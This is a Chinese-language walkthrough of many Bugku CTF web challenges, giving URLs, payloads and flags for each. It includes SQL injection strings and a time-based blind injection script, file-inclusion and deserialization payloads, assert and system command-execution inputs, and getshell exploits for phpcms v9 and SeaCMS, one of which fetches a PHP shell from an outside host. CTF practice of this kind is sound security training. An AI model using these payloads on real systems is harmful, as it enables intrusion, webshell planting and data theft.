Web基礎
Web2
查看網頁源代碼,搜索flag
KEY{Web-2-bugKssNNikls9100}
計算器
審查元素修改輸入字符串長度爲2
flag{CTF-bugku-0032}
web基礎$_GET
http://123.206.87.240:8002/get/?what=flag
flag{bugku_get_su8kej2en}
web基礎$_POST
http://123.206.87.240:8002/post/
post數據what=flag
flag{bugku_get_ssseint67se}
矛盾
代碼審查
http://123.206.87.240:8002/get/index1.php?num=1a
flag{bugku-789-ps-ssdf}
Web3
查看網頁源代碼,html實體編碼,新建html文件複製進去打開
KEY{J2sa42ahJK-HS11III}
域名解析
編輯hosts添加
123.206.87.240 flag.baidu.com
再訪問flag.baidu.com拿到flag
KEY{DSAHDSJ82HDS2211}
你必須讓他停下
bs抓包停止,重發器點擊重發
直到10.jpg返回顯示flag
flag{dummy_game_1s_s0_popular}
本地包含
代碼審計
構造hello=file("flag.php")或者
用到一個PHP函數:file_get_contents(),
http://123.206.87.240:8003/?hello=file_get_contents('flag.php')
再看源碼
flag{bug-ctf-gg-99}
變量1
代碼審計
$$args用GLOBALS全局變量覆蓋,構造
http://123.206.87.240:8004/index1.php?args=GLOBALS
flag{92853051ab894a64f7865cf3c2128b34}
Web5
提示jsfuck編碼,查看源代碼
複製編碼,輸入控制檯顯示ctf{whatfk},flag要大寫
CTF{WHATFK}
頭等艙
源代碼裏沒有flag
bs抓包,在響應頭裏發現flag
flag{Bugku_k8_23s_istra}
網站被黑
用御劍掃描一下,發現一個shell.php
用bs抓包,發送到測試器破譯密碼:
flag{hack_bug_ku035}
管理員系統
查看源代碼,往下拉發現<!-- dGVzdDEyMw== -->
base64解碼爲test123,猜測是密碼,用戶名admin登錄失敗提示ip鎖定
bs抓包頭部添加x-forwarded-for: 127.0.0.1發送收到
The flag is: 85ff2ee4171396724bae20c0bd851f6b
flag{85ff2ee4171396724bae20c0bd851f6b}
Web4
查看源碼將源碼中的%xx字符串拼到一起url編碼解碼
function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").οnsubmit=checkSubmit;
代碼審計
將字符串67d709b2b54aa2aa648cf6e87a7114f1輸入原網頁得到
KEY{J22JK-HS11}
flag在index裏
構造
http://123.206.87.240:8005/post/?file=php://filter/read=convert.base64-encode/resource=index.php
base64轉碼後得到
<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
flag{edulcni_elif_lacol_si_siht}
輸入密碼查看flag
提示5位數字bs抓包密碼爆破13579時得到flag
flag{bugku-baopo-hah}
點擊一百萬次
查看源碼
if(clicks >= 1000000){
var form = $('<form action="" method="post">' +
'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
'</form>');
$('body').append(form);
form.submit();
}
所以構造post內容clicks=100000000得到flag
flag{Not_C00kI3Cl1ck3r}
備份是個好習慣
御劍掃描到index.php.bak打開
代碼審計
<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
整段代碼的意思是將get的兩個參數中的key替換爲空(這裏可以用kekeyy繞過),然後對key1,key2的值進行md5加密,並進行比較,
如果md5加密的值一樣而未加密的值不同,就輸出flag.
可以用兩個數組進行繞過?kkeyey1[]=1&kkeyey2[]=2
或是使用哈希值爲0E開頭的字符串,常見的字符串有這幾種
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
這是兩種繞過方法。
構造 http://123.206.87.240:8002/web16/?kkeyey1=QNKCDZO&kkeyey2=240610708 得flag
Bugku{OH_YOU_FIND_MY_MOMY}
成績單
輸入1,2,3都能查詢到學生的成績,下面嘗試:
輸入1',返回異常;輸入1'--+,返回異常;輸入1'#,返回正常。說明--+被過濾了,用#可以正常註釋。
然後猜字段,根據頁面有名字,三個成績,可能是四個字段,於是1' order by 4#,無異常,而1' order by 5#返回異常,說明有四個字段。
接着開始注入,
(1)暴庫:-1' union select 1,2,3,database()# 得到數據庫名:skctf_flag
(2)暴表:-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'# 得到表表名:fl4g 與 sc,flag應該在fl4g裏
(3)爆字段:-1' union select 1,2,3,group_concat(column_name) from information_columns where table_name='fl4g'# 得到字段名:skctf_flag
(4)爆值-1' union select 1,2,3,skctf_flag from fl4g# 拿到flag
或者直接用sqlmap工具爆破
>python sqlmap.py -r 1.txt --current-db --dump --batch
BUGKU{Sql_INJECT0N_4813drd8hz4}
秋名山老司機
python腳本快速提交:
#coding:utf-8
import requests
import re
url = "http://123.206.87.240:8002/qiumingshan/"
s = requests.session()
r = s.get(url).content
reg = re.compile(r">(.*)=")
rr = re.findall(reg,r)[0]
data = {"value":eval(rr)}
po = s.post(url,data)
print(po).content
返回
Bugku{YOU_DID_IT_BY_SECOND}
速度要快
意思就是讓我們上傳一個我們得到的margin,用bp抓包,在repeater中go會發現在response中有flag,但是多go幾次發現flag會變化,而且flag看着像是base64編碼,於是解碼試試,還真能解出來,但是肯定不對,因爲既讓每次的flag都不一樣,那麼一次解出來的肯定不對,於是想到寫個腳本來讀取headers中的flag再解碼後post來嘗試。
源碼是讓上傳一個margin,百度一下這個單詞,發現是css的一個屬性,是說邊框的長寬等屬性的,於是猜想上傳的是數字,將bp裏的flag解碼兩次,正好就是數字(類似於寬和高),於是纔在腳本中進行了兩次base64解碼。
python腳本:
#coding:utf-8
import requests
import base64
url = "http://123.206.87.240:8002/web6/"
s = requests.session()
r = s.get(url)
flag = r.headers["flag"]
decflag = base64.b64decode(flag)
splflag = decflag.split(": ")[1]
endflag = base64.b64decode(splflag)
data = {"margin":endflag}
po = s.post(url,data)
print(po).content
返回flag
KEY{111dd62fcd377076be18a}
cookies欺騙
打開網頁,一串毫無作用的字符串,不用管,看url發現,好像有base64編碼,而且有line且沒有值。
將base64解碼,發現是文件名keys.txt(猜想可能flag在這個文件裏),這裏我們試試index.php,於是將index.php用base64加密,放在原來文件名的地方,且將line後面加上值,會發現頁面有回顯,改變line的值其顯示的東西不一樣,由於一個個改太麻煩,寫個腳本看看究竟顯示的是什麼:
#coding:utf-8
import requests
urls = ["http://123.206.87.240:8002/web11/index.php?line={}&filename=aW5kZXgucGhw".format(i) for i in range(30)]
s = requests.session()
for url in urls:
r = s.get(url)
print(r.content)
然後得到下面的php程序:
<?php error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php', );
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin')//cookie要求margin=margin
{ $file_list[2]='keys.php'; //把keys.php添加進數組
}
if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; }
?>
由於題上也說了是cookies欺騙,於是我們着重看cookies這一段,發現可能目的是讓margin元素的值等於margin,
於是打開bs抓包,網頁GET /web11/index.php?line=&filename=a2V5cy5waHA= HTTP/1.1(a2V5cy5waHA=爲keys.php得base64加密)
cookies爲Cookie: margin=margin,發送得到返回<?php $key='KEY{key_keys}'; ?>flag:
KEY{key_keys}
never give up
0x00 前言
此題爲 Web 基礎題,難度中低,需要的基礎知識有:HTML、PHP、HTTP 協議。
首先考查發現源碼的能力,其次重點考查 PHP 黑魔法的使用
0x01 攔截跳轉
點開解題鏈接,除了一句 never never never give up !!! 之外空空如也,直接查看源碼,發現一條註釋中有線索:
hello_php_source
根據提示打開鏈接:http://120.24.86.145:8006/test/1p.html,發現跳轉回 Bugku 的主站,所以祭出 BurpSuite 進行抓包攔截。
0x02 三重解碼
根據響應內容中變量 Words 的值,容易得出是一段 URL 編碼後的數據:
對其進行解碼,得到一條 Javascript 語句與一大段註釋,易看出註釋中的內容是一段 Base64 編碼後的數據:
將註釋中的內容進行解碼,發現又是一大段 URL 編碼後的數據:
進行 URL 解碼後,終於得到一段不完整的 PHP 核心源碼:
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
id=id=_GET['id'];
a=a=_GET['a'];
b=b=_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
data=@filegetcontents(data=@filegetcontents(a,'r');
if($data=="bugku is a nice plateform!" and id==0andstrlen(id==0andstrlen(b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
其中各條核心語句的作用如下:
第 1 行:限制 URL 查詢字符串中必須有非空非零變量 id
第 9 行:限制變量 $a 中不能含有字符 .
第 15 行:要滿足以下 5 條表達式纔會爆 flag:
變量 $data 弱等於字符串 bugku is a nice plateform!
變量 $id 弱等於整型數 0
變量 $b 的長度大於 5
字符串 1114 要與字符串 111 連接變量 $b 的第一個字符構成的正則表達式匹配
變量 $b 的第一個字符弱不等於整型數 4
注意,源碼中已暴露出 flag 文件,有可能是出題人的失誤,也有可能是出題人故意用第 15 行復雜的語句迷惑你,實際上可以繞過。因此,直接訪問鏈接 http://123.206.87.240:8006/test/f4l2a3g.txt 即可獲得 flag。
不過,第 15 行的語句也是可解的(應該也是此題的本意),請繼續往下看。
0x03 PHP 黑魔法
本節分別針對源碼中 $id、$a、$b 三個變量需要滿足的條件進行講解。
變量 $id 若想滿足非空非零且弱等於整型數 0,則 $id 的值只能爲非空非零字符串,這裏假設 $id = "asd"。
有關 PHP 類型比較的詳情可參考:PHP 類型比較表
PHP 僞協議
源碼中變量 $data 是由 file_get_contents() 函數讀取變量 $a 的值而得,所以 $a 的值必須爲數據流。
在服務器中自定義一個內容爲 bugku is a nice plateform! 文件,再把此文件路徑賦值給 $a,顯然不太現實。因此這裏用僞協議 php:// 來訪問輸入輸出的數據流,其中 php://input可以訪問原始請求數據中的只讀流。這裏令 $a = "php://input",並在請求主體中提交字符串 bugku is a nice plateform!。
有關 PHP 僞協議的詳情可參考:支持的協議和封裝協議
eregi() 截斷漏洞
CTF 題做多了就知道 ereg() 函數或 eregi() 函數存在空字符截斷漏洞,即參數中的正則表達式或待匹配字符串遇到空字符則截斷丟棄後面的數據。
源碼中待匹配字符串(第二個參數)已確定爲 "1114",正則表達式(第一個參數)由 "111" 連接 $b 的第一個字符組成,若令 substr($b,0,1) = "\x00",即滿足 "1114" 與 "111"匹配。因此,這裏假設 $b = "\x0012345",才能滿足以上三個條件。
有關 PHP 的各種黑魔法可參考:
PHP函數黑魔法小總結
CTF之PHP黑魔法總結
那些年學過的PHP黑魔法
0x04 構造 payload 爆 flag
分析出以上三個變量應該等於什麼值後,接下來構造出對應的 payload 自然就 get flag 了。之所以將構造 payload 單獨拿出來講,是想分享筆者在構造 payload 過程中踩過的坑。
在構造變量 b 中的空字符時,過早將空字符 \x00 放入,在提交請求時導致請求頭截斷,繼而請求失敗,得不到響應。
wrong_payload
因爲 b 是 URL 查詢字符串中的變量,不應該在此放入空字符 \x00,而應該爲空字符的 URL 編碼 %00。注意,雖然 b=%0012345 實際字符串長度爲 8 字節,但在後臺腳本讀入數據時,會將 URL 編碼 %00 轉換成 1 字節。所以說,空字符應該在後臺腳本的變量中出現,而不是在 URL 查詢字符串變量中出現。
構造出正確的 payload 後,完成此題常規思路的做法:
http://123.206.87.240:8006/test/hello.php?id=0a&a=php://input&b=%0012345
flag{tHis_iS_THe_fLaG}
welcome to bugkuctf
首先查看源碼,
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
意思就是user接收到的txt的值爲welcome to the bugkuctf,之後會執行if中的語句,而且會包含一個文件,根據提示這個文件就是hint.php了,這裏用到兩個php的協議,向php傳遞txt和file的值的時候,用到:php://input 和 php://filter.
用hackbar傳遞:
post內容:welcome to the bugkuctf
會出現一段base64碼,拿去解碼,得到一段代碼(hint.php文件的代碼):
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
到這裏好像卡住了,於是再利用上面的php://filter協議查看index.php的代碼:
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能現在就給你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
結合着網頁源代碼,發現,flag應該在flag.php中,但是我們如果傳遞flag.php,會被preg_match()正則匹配到,所以重點就在password那一段,但是這裏有一個password的反序列化,就是說我們不能被正則匹配到,而且我們傳遞的password還是要被序列化過的。
於是我們用一段php代碼:
//php序列化
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
$a=new Flag();
$a->file="flag.php";
$a=serialize($a);
print($a);
?>
得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
然後將得到的結果傳給password:
post內容:welcome to the bugkuctf
查看源碼就得到flag了。
解釋一下爲什麼要這麼做:從上面的password那一段,我們需要將password序列化,而且我們的目標是輸出flag,即輸出flag.php的內容,所以我們根據hint.php(能將文件內容輸出)創建一個Flag類$a,然後將flag.php賦值給該類中的file變量,此時對於a來說,a所包含的就是Flag類中的內容(其中有echo file_get_contents($this->file);),所以當我們將啊序列化後傳遞然後由password接收再反序列化,此時的password就是我們代碼中的a,我們輸出password的時候就等於輸出了a(其中有echo file_get_contents($this->file);),所以這樣就能輸出flag了。
flag{php_is_the_best_language}
過狗一句話
觀察提示:
<?php
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s']);
?>
就是說將poc以#爲分隔符截開賦給poc_1,再將poc_1數組中的元素連接賦給poc_2,完成後poc_2就是assert,所以最後一句就是assert($_GET['s']),所以就是執行$_GET['s']。
這個題需要掃描一下當前目錄下的文件,用到scandir(),構造payload:http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
還以用此技巧讀取其他文件
?s=print_r(readfile('../etc/hosts'))
?s=print_r(fopen('../etc/hosts','r'))
print_r輸出數組,scandir掃描當前文件夾並以數組形式返回
於是用url:http://123.206.87.240:8010/f14g.txt
就拿到flag了。
BUGKU{bugku_web_009801_a}
字符?正則?
打開網頁,代碼的意思就是我們要傳遞一個id使其滿足正則表達式。
"/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i"
對應這個正則表達式來寫id的值,參考下面的符號:
1.表達式直接寫出來的字符串直接利用,如key
2.“.”代表任意字符
3.“*”代表一個或一序列字符重複出現的次數,即前一個字符重複任意次
4.“\/”代表“/”
5.[a-z]代表a-z中的任意一個字符
6.[[:punct:]]代表任意一個字符,包括各種符號
7./i代表大小寫不敏感
8.{4-7}代表[0-9]中數字連續出現的次數是4-7次
於是構造一個payload(不唯一):
地址http://123.206.87.240:8002/web10/?id=key2key22222key:/f/keyz;
或者http://123.206.87.240:8002/web10/?id=key1key1111key:/1/1keya.
就能拿到flag了。
KEY{0x0SIOPh550afc}
前女友(SKCTF)
查看源代碼,有個code.txt,打開看看什麼意思:
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
意思是:傳遞v1,v2,v3的值,而且v1,v2的md5加密值相同(可以用數組繞過,MD5處理數組返回null),然後v3的值要和flag的值相等(利用strcmp()函數的漏洞)
構造payload:http://123.206.31.85:49162/?v1[]=1&v2[]=2&v3[]=
或者http://123.206.31.85:49162/?v1=240610708&v2=QNKCDZO&v3[]=
就拿到flag了
SKCTF{Php_1s_tH3_B3St_L4NgUag3}
login1(SKCTF)
題目有hint:SQL約束攻擊
約束攻擊基本原理就是sql查找時會過濾掉空格,我們註冊時用一直賬號加上空格爲用戶名,然後就能用我們這個登陸過濾掉空格後的真實賬號才能登陸的系統
當我們嘗試用admin註冊時,提示已經被註冊,那這個可能就是管理員賬號了。
根據SQL約束攻擊原理,我們這樣註冊:
用戶名:admin (admin後面有很多空格)
密碼按照要求隨便設。
再用註冊成功的賬號登陸就拿到flag了。
SKCTF{4Dm1n_HaV3_GreAt_p0w3R}
你從哪裏來
打開網頁出現:are you from google?
貌似是讓用Google進入,然而並不行,其實是將referer設爲https://www.google.com
就拿到flag了
flag{bug-ku_ai_admin}
md5 collision(NUPT_CTF)
md5弱類型,構造
http://123.206.87.240:9009/md5.php?a=aabC9RqS
flag{md5_collision_is_easy}
程序員本地網站
打開並發現不了什麼,由本地想到構造X-Forwarded-For頭
x-forwarded-for: 127.0.0.1
flag{loc-al-h-o-st1}
各種繞過
代碼審計
http://123.206.87.240:8002/web7/?id=%6d%61%72%67%69%6e&uname[]=b
post內容:passwd[]=a
flag{HACK_45hhs_213sDD}
Web8
代碼審計
http://123.206.87.240:8002/web8/?ac=a&fn=php://input
Post內容:a
flag{3cfb7a90fc0de31}
細心
御劍掃描到robots.txt
訪問發現了resusl.php,於是再訪問resusl.php,出現
這有代碼,再結合題目說變成admin,於是傳遞x=admin就拿到flag了。
flag(ctf_0098_lkji-s)
求getshell
上傳一個png文件發現提示My name is margin,give me a image file not a php
然後也嘗試上傳php文件,但是依然不行,這裏顯然對文件類型和後綴進行了檢測,
文件類型,改字母大寫繞過:Content-Type: Multipart/form-data; boundary=---------------------------2942023369
後綴檢測,在分別將後綴名修改爲php2, php3, php4, php5, phps, pht, phtm, phtml(php的別名),發現只有php5沒有被過濾
KEY{bb35dc123820e}
INSERT INTO注入
題目給了源碼
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
由上可以發現,在10行的時候$ip被截取了.explode函數的作用是按規則拆分爲數組.例如:explode(" ",$str)
參考http://www.qingpingshan.com/m/view.php?aid=389224
這是X_FORWARDED_FOR注入,但是過濾了,在,被過濾的情況下,無法使用if語句
當然在mysql下除了if還有
select case when xxx then xxx else xxx end;
而且由於,被過濾,無法使用substr和substring,但是這裏可以使用from 1 for 1替代,最後payload如下
11'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))%23
python 腳本
#coding:utf-8
#字符長度直接手工測的
import requests
url = 'http://123.206.87.240:8002/web15/'
flag=""
#data = 11' and (case when (length((select group_concat(table_name) from information_schema.tables where table_name=database()))=14) then sleep(4) else 1 end)) #
#爆表名 長度爲14
#data = "11'and (case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
#client_ip,flag
#data = 11' and (case when (length((select group_concat(column_name) from information_schema.columns where table_name='flag'))=4) then sleep(4) else 1 end)) #
#爆字段 長度爲4
#data = "11' and (case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
#flag
#data = 11' and (case when (length((select group_concat(flag) from flag))=32) then sleep(4) else 1 end)) #
#爆內容 長度爲32
#data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
for i in range(1,33):
for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*.":
data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
# print data
headers = {"x-forwarded-for":data}
try:
result = requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout, e:
flag += str1
print flag
break
print 'flag:' + flag
flag{cdbf14c9551d5be5612f7bb5d2867853}
這是一個神奇的登陸框
(該題可拿到站點webshell)
sql注入可以使用sqlmap
bs抓包,保存1.txt到sqlmap目錄
運行命令:python .\sqlmap.py -r 1.txt --current-db --dump --batch
可以看到爆出了flag:
flag{ed6b28e684817d9efcaf802979e57aea}
多次
登陸後發現頁面沒有啥信息,但是url地址欄?id=1 可能存在注入
id=1後面加單引號會報錯,後面加--+註釋返回正常,確定存在SQL注入
?id=1'or 1=1--+ 也報錯,可能存在過濾
嘗試雙寫繞過,?id=1'oorr 1=1--+ 返回正常
那如何檢測哪些字符串被過濾了呢?新技能GET!
異或注入瞭解一下,兩個條件相同(同真或同假)即爲假
http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')!=0)--+
如果返回頁面顯示正常,那就證明length(‘union’)==0的,也就是union被過濾了
同理測試出被過濾的字符串有:and,or,union,select
都用雙寫來繞過,payload如下:
爆數據表 (注意:information裏面也有or)
http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
爆字段
http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+
爆數據
http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1--+
提交flag顯示錯誤,換個字段,爆address,得出下一關地址
Once_More.php
進去又是一個SQL注入
大小寫繞過pass,雙寫繞過pass
這裏利用 updatexml() 函數報錯注入
首先了解下updatexml()函數
UPDATEXML (XML_document, XPath_string, new_value);
第一個參數:XML_document是String格式,爲XML文檔對象的名稱,文中爲Doc
第二個參數:XPath_string (Xpath格式的字符串) ,如果不瞭解Xpath語法,可以在網上查找教程。
第三個參數:new_value,String格式,替換查找到的符合條件的數據
作用:改變文檔中符合條件的節點的值
改變XML_document中符合XPATH_string的值
而我們的注入語句爲:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的 concat() 函數是將其連成一個字符串,因此不會符合XPATH_string的格式,從而出現格式錯誤,爆出
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
payload 如下
# 查數據表
http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23
# 查字段
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23
# 查數據
?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23
最後爆出 flag
flag{bugku-sql_6s-2i-4t-bug}
PHP_encrypt_1(ISCCCTF)
給出了一個 encrypt 函數和一串密文
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
} ?>
output: fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
根據 encrypt 函數寫對應的 decrypt
<?php
function decrypt($str) {
$mkey = "729623334f0aa2784a1599fd374c120d";
$klen = strlen($mkey);
$tmp = $str;
$tmp = base64_decode($tmp); // 對 base64 後的字符串 decode
$md_len = strlen($tmp); //獲取字符串長度
for ($i=0; $i < $md_len; $i++) { // 取二次加密用 key;
if ($x == $klen) // 數據長度是否超過 key 長度檢測
$x = 0;
$char .= $mkey[$x]; // 從 key 中取二次加密用 key
$x+=1;
}
$md_data = array();
for($i=0;$i<$md_len;$i++) { // 取偏移後密文數據
array_push($md_data, ord($tmp[$i]));
}
$md_data_source = array();
$data1 = "";
$data2 = "";
foreach ($md_data as $key => $value) { // 對偏移後的密文數據進行還原
$i = $key;
if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}
$dd = $value;
$od = ord($mkey[$i]);
array_push($md_data_source,$dd);
$data1 .= chr(($dd+128)-$od); // 第一種可能, 餘數+128-key 爲迴歸數
$data2 .= chr($dd-$od); // 第二種可能, 餘數直接-key 爲迴歸數
}
print "data1 => ".$data1."<br>\n";
print "data2 => ".$data2."<br>\n";
}
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
decrypt($str);
?>
FLAG -> Flag:{asdqw*fasfd*wfefq*dqwdadwq*daw*}
flag:{asdqw*fasfd*wfefq*dqwdadwq*daw*}
文件包含2
打開網頁查看源代碼,在最上面發現upload.php,於是我們就訪問這個文件:http://123.206.31.85:49166/index.php?file=upload.php
發現是讓我們上傳文件,然而,我們上傳了並沒什麼用,但是下面說出了文件的位置。
這裏我們構造一個文件再上傳(這裏構造的文件再上傳用到的應該是XSS的知識)
創建一個文本文件並輸入:<script language=php>system("ls")</script>,然後將文件後綴改爲jpg,保存上傳。
(XSS的原理就是向網頁源碼中插入代碼,system是調用系統命令,ls是查看當前文件夾的文件)
上傳後我們訪問文件所在位置:http://123.206.31.85:49166/index.php?file=upload/201812151107258968.jpg
看到一個txt文件,裏面應該有flag,於是訪問一下http://123.206.31.85:49166/index.php?file=this_is_th3_F14g_154f65sd4g35f4d6f43.txt
就拿到flag了。
SKCTF{uP104D_1nclud3_426fh8_is_Fun}
WEB進階
phpcmsV9
這題叫道理應該是考phpcmsv9的漏洞的,但是掛了,連註冊都註冊不了.......
不過有個非預期解,訪問一個robots.txt居然就看到flag了,交一發還是對的.......
正確的解法應該是找到註冊頁面
填寫了以後在post數據最後加一句&info[content]=<img src=http://www.bugku.com/tools/phpyijuhua.txt?.php#.jpg>
最後的整體數據就是siteid=1&modelid=11&username=rouji&password=rouji123&[email protected]&info[content]=<img src=http://www.bugku.com/tools/phpyijuhua.txt?.php#.jpg>&dosubmit=1&protocol=
鏈接是bugku的小馬,然後複製repeater的返回包的鏈接就可以連菜刀了
flag{admin_a23-ae2132_key}
海洋CMS
這是海洋cms模版的前臺getshell漏洞,構造的payload都是固定的。該模版用了eval函數,並且在用之前沒有足夠的檢測,所以會出現問題。
利用構造payload
url:http://222.22.65.134:15001/HaiYangCMS/search.php?searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))
放入菜刀,那密碼是什麼呢,是9[],不是9。連接菜刀查看flag
flag{felege-ctf-2017_04}
小明的博客
靶場已被破壞
Bugku-cms1
Step1:掃目錄
分析掃描結果可以看到一個/data目錄
看看裏面有什麼東西,訪問之後,發現一個sql文件,下載下來查看
文件中包含了用戶名和密碼,查找一下admin,發現有兩個賬戶
admin和admin888,密碼是md5加密,在線解密可得。
Step2:後臺登錄
沒有掃到後臺管理,自己測試,在url後添加/admin,竟然就是後臺
利用第一步中的賬戶密碼去嘗試一下,發現admin888纔是管理員
根據題目提示,後臺可以getshell,那麼找上傳點,在欄目內容管理裏有添加頁面內容
Step3:上傳圖片馬
利用php一句話和圖片生成圖片馬,比如1.jpg,修改後綴爲1.jpg;.php
然後在系統全局設定裏,文件上傳類型添加php,接着上傳成功
在服務器文件管理模塊裏的頁面內容上傳圖片找到剛纔上傳的圖片
訪問一下,然後用菜刀連接
Step4:上菜刀
在web目錄下發現flag
代碼審計
extract變量覆蓋
http://123.206.87.240:9009/1.php?shiyan=&flag=php://input
flag{bugku-dmsj-p2sm3N}
strcmp比較字符串
http://123.206.87.240:9009/6.php?a[]=
flag{bugku_dmsj_912k}
urldecode二次編碼繞過
flag{bugku__daimasj-1t2}
md5()函數
http://123.206.87.240:9009/18.php?username[]=a&password[]=b
flag{bugk1u-ad8-3dsa-2}
數組返回NULL繞過
http://123.206.87.240:9009/19.php?password[]=
或者http://123.206.87.240:9009/19.php?password=1%00--
flag{ctf-bugku-ad-2131212}
弱類型整數大小比較繞過
http://123.206.87.240:9009/22.php?password=9999a
或者http://123.206.87.240:9009/22.php?password=9999%00
flag{bugku_null_numeric}
sha()函數比較繞過
http://123.206.87.240:9009/7.php?name[]=a&password[]=b
flag{bugku--daimasj-a2}
md5加密相等繞過
http://123.206.87.240:9009/13.php?a=aabg7XSs
flag{bugku-dmsj-am9ls}
十六進制與數字比較
http://123.206.87.240:9009/20.php?password=0xDEADC0DE
flag{Bugku-admin-ctfdaimash}
變量覆蓋
http://120.24.86.145:9009/bianliang/?a=&b=php://input
flag{num_test_administrator}
ereg正則%00截斷
http://123.206.87.240:9009/5.php?password[]=
或者http://123.206.87.240:9009/5.php?password=1e9%00*-*
flag{bugku-dm-sj-a12JH8}
strpos數組繞過
http://123.206.87.240:9009/15.php?ctf[]=#biubiubiu
